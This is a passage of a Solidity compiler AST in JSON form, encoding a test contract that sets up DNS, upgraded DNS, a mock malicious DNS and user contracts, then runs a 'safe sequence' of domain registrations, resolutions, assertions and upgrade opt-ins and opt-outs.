UpgradedDNS","value":"fake_up_dns"},"id":501,"name":"Identifier","src":"1469:11:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"contract UpgradedDNS","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_contract$_DNS_$308","typeString":"contract DNS"},{"typeIdentifier":"t_contract$_Upgrade_$2050","typeString":"contract Upgrade"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"type":"function (contract IDNS,contract Upgrade) returns (contract UpgradedDNS)"},"children":[{"attributes":{"name":"UpgradedDNS","referencedDeclaration":2303,"type":"contract UpgradedDNS"},"id":502,"name":"UserDefinedTypeName","src":"1487:11:2"}],"id":503,"name":"NewExpression","src":"1483:15:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":449,"type":"contract DNS","value":"dns"},"id":504,"name":"Identifier","src":"1499:3:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":457,"type":"contract Upgrade","value":"upgrade"},"id":505,"name":"Identifier","src":"1504:7:2"}],"id":506,"name":"FunctionCall","src":"1483:29:2"}],"id":507,"name":"Assignment","src":"1469:43:2"}],"id":508,"name":"ExpressionStatement","src":"1469:43:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"contract MalDNS"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":455,"type":"contract MalDNS","value":"mal_dns"},"id":509,"name":"Identifier","src":"1516:7:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"contract MalDNS","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_rational_3405704942_by_1","typeString":"int_const 3405704942"},{"typeIdentifier":"t_contract$_DNS_$308","typeString":"contract DNS"},{"typeIdentifier":"t_contract$_Upgrade_$2050","typeString":"contract Upgrade"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"type":"function (bytes4,contract IDNS,contract Upgrade) returns (contract MalDNS)"},"children":[{"attributes":{"name":"MalDNS","referencedDeclaration":1723,"type":"contract MalDNS"},"id":510,"name":"UserDefinedTypeName","src":"1530:6:2"}],"id":511,"name":"NewExpression","src":"1526:10:2"},{"attributes":{"hexvalue":"30786361666565656565","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 3405704942","value":"0xcafeeeee"},"id":512,"name":"Literal","src":"1537:10:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":449,"type":"contract DNS","value":"dns"},"id":513,"name":"Identifier","src":"1549:3:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":457,"type":"contract Upgrade","value":"upgrade"},"id":514,"name":"Identifier","src":"1554:7:2"}],"id":515,"name":"FunctionCall","src":"1526:36:2"}],"id":516,"name":"Assignment","src":"1516:46:2"}],"id":517,"name":"ExpressionStatement","src":"1516:46:2"},{"children":[{"attributes":{"assignments":[519]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"i","scope":538,"stateVariable":false,"storageLocation":"default","type":"uint256","visibility":"internal"},"children":[{"attributes":{"name":"uint","type":"uint256"},"id":518,"name":"ElementaryTypeName","src":"1572:4:2"}],"id":519,"name":"VariableDeclaration","src":"1572:6:2"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":520,"name":"Literal","src":"1581:1:2"}],"id":521,"name":"VariableDeclarationStatement","src":"1572:10:2"},{"attributes":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"<","type":"bool"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":519,"type":"uint256","value":"i"},"id":522,"name":"Identifier","src":"1584:1:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":460,"type":"uint256","value":"MAX_USERS"},"id":523,"name":"Identifier","src":"1588:9:2"}],"id":524,"name":"BinaryOperation","src":"1584:13:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"++","prefix":true,"type":"uint256"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":519,"type":"uint256","value":"i"},"id":525,"name":"Identifier","src":"1601:1:2"}],"id":526,"name":"UnaryOperation","src":"1599:3:2"}],"id":527,"name":"ExpressionStatement","src":"1599:3:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"contract User"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"type":"contract User"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":464,"type":"contract User[4] storage ref","value":"users"},"id":528,"name":"Identifier","src":"1607:5:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":519,"type":"uint256","value":"i"},"id":529,"name":"Identifier","src":"1613:1:2"}],"id":530,"name":"IndexAccess","src":"1607:8:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"contract User","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_contract$_DNS_$308","typeString":"contract DNS"},{"typeIdentifier":"t_contract$_Upgrade_$2050","typeString":"contract Upgrade"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"type":"function (contract IDNS,contract Upgrade) returns (contract User)"},"children":[{"attributes":{"name":"User","referencedDeclaration":443,"type":"contract User"},"id":531,"name":"UserDefinedTypeName","src":"1622:4:2"}],"id":532,"name":"NewExpression","src":"1618:8:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":449,"type":"contract DNS","value":"dns"},"id":533,"name":"Identifier","src":"1627:3:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":457,"type":"contract Upgrade","value":"upgrade"},"id":534,"name":"Identifier","src":"1632:7:2"}],"id":535,"name":"FunctionCall","src":"1618:22:2"}],"id":536,"name":"Assignment","src":"1607:33:2"}],"id":537,"name":"ExpressionStatement","src":"1607:33:2"}],"id":538,"name":"ForStatement","src":"1567:73:2"}],"id":539,"name":"Block","src":"1343:301:2"}],"id":540,"name":"FunctionDefinition","src":"1317:327:2"},{"attributes":{"functionSelector":"538d1c33","implemented":true,"isConstructor":false,"kind":"function","modifiers":[null],"name":"test_safe_sequence","scope":1362,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},"children":[{"attributes":{"parameters":[null]},"children":[],"id":541,"name":"ParameterList","src":"1674:2:2"},{"attributes":{"parameters":[null]},"children":[],"id":542,"name":"ParameterList","src":"1684:0:2"},{"children":[{"attributes":{"assignments":[544]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"d0","scope":1142,"stateVariable":false,"storageLocation":"memory","type":"string","visibility":"internal"},"children":[{"attributes":{"name":"string","type":"string"},"id":543,"name":"ElementaryTypeName","src":"1688:6:2"}],"id":544,"name":"VariableDeclaration","src":"1688:16:2"},{"attributes":{"hexvalue":"612e657468","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"a.eth\"","value":"a.eth"},"id":545,"name":"Literal","src":"1707:7:2"}],"id":546,"name":"VariableDeclarationStatement","src":"1688:26:2"},{"attributes":{"assignments":[548]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"i0","scope":1142,"stateVariable":false,"storageLocation":"default","type":"bytes4","visibility":"internal"},"children":[{"attributes":{"name":"bytes4","type":"bytes4"},"id":547,"name":"ElementaryTypeName","src":"1718:6:2"}],"id":548,"name":"VariableDeclaration","src":"1718:9:2"},{"attributes":{"hexvalue":"30783031303230333034","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 16909060","value":"0x01020304"},"id":549,"name":"Literal","src":"1730:10:2"}],"id":550,"name":"VariableDeclarationStatement","src":"1718:22:2"},{"attributes":{"assignments":[552]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"d1","scope":1142,"stateVariable":false,"storageLocation":"memory","type":"string","visibility":"internal"},"children":[{"attributes":{"name":"string","type":"string"},"id":551,"name":"ElementaryTypeName","src":"1744:6:2"}],"id":552,"name":"VariableDeclaration","src":"1744:16:2"},{"attributes":{"hexvalue":"622e657468","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"string","type":"literal_string \"b.eth\"","value":"b.eth"},"id":553,"name":"Literal","src":"1763:7:2"}],"id":554,"name":"VariableDeclarationStatement","src":"1744:26:2"},{"attributes":{"assignments":[556]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"i1","scope":1142,"stateVariable":false,"storageLocation":"default","type":"bytes4","visibility":"internal"},"children":[{"attributes":{"name":"bytes4","type":"bytes4"},"id":555,"name":"ElementaryTypeName","src":"1774:6:2"}],"id":556,"name":"VariableDeclaration","src":"1774:9:2"},{"attributes":{"hexvalue":"30783035303630373038","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 84281096","value":"0x05060708"},"id":557,"name":"Literal","src":"1786:10:2"}],"id":558,"name":"VariableDeclarationStatement","src":"1774:22:2"},{"attributes":{"assignments":[560]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"ip","scope":1142,"stateVariable":false,"storageLocation":"default","type":"bytes4","visibility":"internal"},"children":[{"attributes":{"name":"bytes4","type":"bytes4"},"id":559,"name":"ElementaryTypeName","src":"1801:6:2"}],"id":560,"name":"VariableDeclaration","src":"1801:9:2"}],"id":561,"name":"VariableDeclarationStatement","src":"1801:9:2"},{"attributes":{"assignments":[563]},"children":[{"attributes":{"constant":false,"mutability":"mutable","name":"owner","scope":1142,"stateVariable":false,"storageLocation":"default","type":"address","visibility":"internal"},"children":[{"attributes":{"name":"address","stateMutability":"nonpayable","type":"address"},"id":562,"name":"ElementaryTypeName","src":"1814:7:2"}],"id":563,"name":"VariableDeclaration","src":"1814:13:2"}],"id":564,"name":"VariableDeclarationStatement","src":"1814:13:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bytes4","typeString":"bytes4"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"register","referencedDeclaration":356,"type":"function (string memory,bytes4) external"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"contract User"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":464,"type":"contract User[4] storage ref","value":"users"},"id":565,"name":"Identifier","src":"1859:5:2"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":566,"name":"Literal","src":"1865:1:2"}],"id":567,"name":"IndexAccess","src":"1859:8:2"}],"id":568,"name":"MemberAccess","src":"1859:17:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":544,"type":"string memory","value":"d0"},"id":569,"name":"Identifier","src":"1877:2:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":548,"type":"bytes4","value":"i0"},"id":570,"name":"Identifier","src":"1881:2:2"}],"id":571,"name":"FunctionCall","src":"1859:25:2"}],"id":572,"name":"ExpressionStatement","src":"1859:25:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"tuple()"},"children":[{"attributes":{"isConstant":false,"isInlineArray":false,"isLValue":true,"isPure":false,"lValueRequested":true,"type":"tuple(bytes4,address)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":560,"type":"bytes4","value":"ip"},"id":573,"name":"Identifier","src":"1889:2:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":563,"type":"address","value":"owner"},"id":574,"name":"Identifier","src":"1893:5:2"}],"id":575,"name":"TupleExpression","src":"1888:11:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple(bytes4,address)","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"resolve","referencedDeclaration":307,"type":"function (string memory) view external returns (bytes4,address)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":449,"type":"contract DNS","value":"dns"},"id":576,"name":"Identifier","src":"1902:3:2"}],"id":577,"name":"MemberAccess","src":"1902:11:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":544,"type":"string memory","value":"d0"},"id":578,"name":"Identifier","src":"1914:2:2"}],"id":579,"name":"FunctionCall","src":"1902:15:2"}],"id":580,"name":"Assignment","src":"1888:29:2"}],"id":581,"name":"ExpressionStatement","src":"1888:29:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bytes4","typeString":"bytes4"},{"typeIdentifier":"t_bytes4","typeString":"bytes4"}],"overloadedDeclarations":[2464,2507,2605,2635,2675],"referencedDeclaration":2507,"type":"function (bytes32,bytes32)","value":"assertEq"},"id":582,"name":"Identifier","src":"1921:8:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":560,"type":"bytes4","value":"ip"},"id":583,"name":"Identifier","src":"1930:2:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":548,"type":"bytes4","value":"i0"},"id":584,"name":"Identifier","src":"1934:2:2"}],"id":585,"name":"FunctionCall","src":"1921:16:2"}],"id":586,"name":"ExpressionStatement","src":"1921:16:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"overloadedDeclarations":[2464,2507,2605,2635,2675],"referencedDeclaration":2464,"type":"function (address,address)","value":"assertEq"},"id":587,"name":"Identifier","src":"1941:8:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":563,"type":"address","value":"owner"},"id":588,"name":"Identifier","src":"1950:5:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"address","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_contract$_User_$443","typeString":"contract User"}],"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"type":"type(address)"},"children":[{"attributes":{"name":"address"},"id":589,"name":"ElementaryTypeName","src":"1957:7:2"}],"id":590,"name":"ElementaryTypeNameExpression","src":"1957:7:2"},{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"contract User"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":464,"type":"contract User[4] storage ref","value":"users"},"id":591,"name":"Identifier","src":"1965:5:2"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":592,"name":"Literal","src":"1971:1:2"}],"id":593,"name":"IndexAccess","src":"1965:8:2"}],"id":594,"name":"FunctionCall","src":"1957:17:2"}],"id":595,"name":"FunctionCall","src":"1941:34:2"}],"id":596,"name":"ExpressionStatement","src":"1941:34:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bytes4","typeString":"bytes4"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"register","referencedDeclaration":356,"type":"function (string memory,bytes4) external"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"contract User"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":464,"type":"contract User[4] storage ref","value":"users"},"id":597,"name":"Identifier","src":"2007:5:2"},{"attributes":{"hexvalue":"31","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 1","value":"1"},"id":598,"name":"Literal","src":"2013:1:2"}],"id":599,"name":"IndexAccess","src":"2007:8:2"}],"id":600,"name":"MemberAccess","src":"2007:17:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":552,"type":"string memory","value":"d1"},"id":601,"name":"Identifier","src":"2025:2:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":556,"type":"bytes4","value":"i1"},"id":602,"name":"Identifier","src":"2029:2:2"}],"id":603,"name":"FunctionCall","src":"2007:25:2"}],"id":604,"name":"ExpressionStatement","src":"2007:25:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"=","type":"tuple()"},"children":[{"attributes":{"isConstant":false,"isInlineArray":false,"isLValue":true,"isPure":false,"lValueRequested":true,"type":"tuple(bytes4,address)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":560,"type":"bytes4","value":"ip"},"id":605,"name":"Identifier","src":"2037:2:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":563,"type":"address","value":"owner"},"id":606,"name":"Identifier","src":"2041:5:2"}],"id":607,"name":"TupleExpression","src":"2036:11:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple(bytes4,address)","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"resolve","referencedDeclaration":307,"type":"function (string memory) view external returns (bytes4,address)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":449,"type":"contract DNS","value":"dns"},"id":608,"name":"Identifier","src":"2050:3:2"}],"id":609,"name":"MemberAccess","src":"2050:11:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":552,"type":"string memory","value":"d1"},"id":610,"name":"Identifier","src":"2062:2:2"}],"id":611,"name":"FunctionCall","src":"2050:15:2"}],"id":612,"name":"Assignment","src":"2036:29:2"}],"id":613,"name":"ExpressionStatement","src":"2036:29:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bytes4","typeString":"bytes4"},{"typeIdentifier":"t_bytes4","typeString":"bytes4"}],"overloadedDeclarations":[2464,2507,2605,2635,2675],"referencedDeclaration":2507,"type":"function (bytes32,bytes32)","value":"assertEq"},"id":614,"name":"Identifier","src":"2069:8:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":560,"type":"bytes4","value":"ip"},"id":615,"name":"Identifier","src":"2078:2:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":556,"type":"bytes4","value":"i1"},"id":616,"name":"Identifier","src":"2082:2:2"}],"id":617,"name":"FunctionCall","src":"2069:16:2"}],"id":618,"name":"ExpressionStatement","src":"2069:16:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"overloadedDeclarations":[2464,2507,2605,2635,2675],"referencedDeclaration":2464,"type":"function (address,address)","value":"assertEq"},"id":619,"name":"Identifier","src":"2089:8:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":563,"type":"address","value":"owner"},"id":620,"name":"Identifier","src":"2098:5:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"address","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_contract$_User_$443","typeString":"contract User"}],"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"type":"type(address)"},"children":[{"attributes":{"name":"address"},"id":621,"name":"ElementaryTypeName","src":"2105:7:2"}],"id":622,"name":"ElementaryTypeNameExpression","src":"2105:7:2"},{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"contract User"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":464,"type":"contract User[4] storage ref","value":"users"},"id":623,"name":"Identifier","src":"2113:5:2"},{"attributes":{"hexvalue":"31","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 1","value":"1"},"id":624,"name":"Literal","src":"2119:1:2"}],"id":625,"name":"IndexAccess","src":"2113:8:2"}],"id":626,"name":"FunctionCall","src":"2105:17:2"}],"id":627,"name":"FunctionCall","src":"2089:34:2"}],"id":628,"name":"ExpressionStatement","src":"2089:34:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_contract$_IDNS_$1462","typeString":"contract IDNS"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"newUpgrade","referencedDeclaration":1997,"type":"function (uint256,contract IDNS) external"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":457,"type":"contract Upgrade","value":"upgrade"},"id":629,"name":"Identifier","src":"2162:7:2"}],"id":631,"name":"MemberAccess","src":"2162:18:2"},{"attributes":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"operator":"+","type":"uint256"},"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"timestamp","type":"uint256"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":-4,"type":"block","value":"block"},"id":632,"name":"Identifier","src":"2181:5:2"}],"id":633,"name":"MemberAccess","src":"2181:15:2"},{"attributes":{"hexvalue":"3630","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 60","value":"60"},"id":634,"name":"Literal","src":"2199:2:2"}],"id":635,"name":"BinaryOperation","src":"2181:20:2"},{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"contract IDNS","type_conversion":true},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_contract$_UpgradedDNS_$2303","typeString":"contract UpgradedDNS"}],"overloadedDeclarations":[null],"referencedDeclaration":1462,"type":"type(contract IDNS)","value":"IDNS"},"id":636,"name":"Identifier","src":"2203:4:2"},{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":451,"type":"contract UpgradedDNS","value":"up_dns"},"id":637,"name":"Identifier","src":"2208:6:2"}],"id":638,"name":"FunctionCall","src":"2203:12:2"}],"id":639,"name":"FunctionCall","src":"2162:54:2"}],"id":640,"name":"ExpressionStatement","src":"2162:54:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"}],"overloadedDeclarations":[null],"referencedDeclaration":2434,"type":"function (bool)","value":"assertTrue"},"id":641,"name":"Identifier","src":"2220:10:2"},{"attributes":{"arguments":[null],"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"bool","type_conversion":false},"children":[{"attributes":{"argumentTypes":[null],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"upgradePlanned","referencedDeclaration":2049,"type":"function () view external returns (bool)"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":457,"type":"contract Upgrade","value":"upgrade"},"id":642,"name":"Identifier","src":"2231:7:2"}],"id":643,"name":"MemberAccess","src":"2231:22:2"}],"id":644,"name":"FunctionCall","src":"2231:24:2"}],"id":645,"name":"FunctionCall","src":"2220:36:2"}],"id":646,"name":"ExpressionStatement","src":"2220:36:2"},{"children":[{"attributes":{"arguments":[null],"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[null],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"optIn","referencedDeclaration":430,"type":"function () external"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"contract User"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":464,"type":"contract User[4] storage ref","value":"users"},"id":647,"name":"Identifier","src":"2280:5:2"},{"attributes":{"hexvalue":"30","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 0","value":"0"},"id":648,"name":"Literal","src":"2286:1:2"}],"id":649,"name":"IndexAccess","src":"2280:8:2"}],"id":650,"name":"MemberAccess","src":"2280:14:2"}],"id":651,"name":"FunctionCall","src":"2280:16:2"}],"id":652,"name":"ExpressionStatement","src":"2280:16:2"},{"children":[{"attributes":{"arguments":[null],"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[null],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"optIn","referencedDeclaration":430,"type":"function () external"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"contract User"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":464,"type":"contract User[4] storage ref","value":"users"},"id":653,"name":"Identifier","src":"2320:5:2"},{"attributes":{"hexvalue":"32","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 2","value":"2"},"id":654,"name":"Literal","src":"2326:1:2"}],"id":655,"name":"IndexAccess","src":"2320:8:2"}],"id":656,"name":"MemberAccess","src":"2320:14:2"}],"id":657,"name":"FunctionCall","src":"2320:16:2"}],"id":658,"name":"ExpressionStatement","src":"2320:16:2"},{"children":[{"attributes":{"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 10"}],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"warp","referencedDeclaration":1392,"type":"function (uint256) external"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":447,"type":"contract HEVMCheat","value":"hevm"},"id":659,"name":"Identifier","src":"2340:4:2"}],"id":661,"name":"MemberAccess","src":"2340:9:2"},{"attributes":{"hexvalue":"3130","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 10","value":"10"},"id":662,"name":"Literal","src":"2350:2:2"}],"id":663,"name":"FunctionCall","src":"2340:13:2"}],"id":664,"name":"ExpressionStatement","src":"2340:13:2"},{"children":[{"attributes":{"arguments":[null],"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[null],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"optOut","referencedDeclaration":442,"type":"function () external"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"contract User"},"children":[{"attributes":{"overloadedDeclarations":[null],"referencedDeclaration":464,"type":"contract User[4] storage ref","value":"users"},"id":665,"name":"Identifier","src":"2380:5:2"},{"attributes":{"hexvalue":"32","isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"token":"number","type":"int_const 2","value":"2"},"id":666,"name":"Literal","src":"2386:1:2"}],"id":667,"name":"IndexAccess","src":"2380:8:2"}],"id":668,"name":"MemberAccess","src":"2380:15:2"}],"id":669,"name":"FunctionCall","src":"2380:17:2"}],"id":670,"name":"ExpressionStatement","src":"2380:17:2"},{"children":[{"attributes":{"arguments":[null],"isConstant":false,"isLValue":false,"isPure":false,"isStructConstructorCall":false,"lValueRequested":false,"names":[null],"tryCall":false,"type":"tuple()","type_conversion":false},"children":[{"attributes":{"argumentTypes":[null],"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"member_name":"optIn","referencedDeclaration":430,"type":"function () external"},"children":[{"attributes":{"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"type":"contract 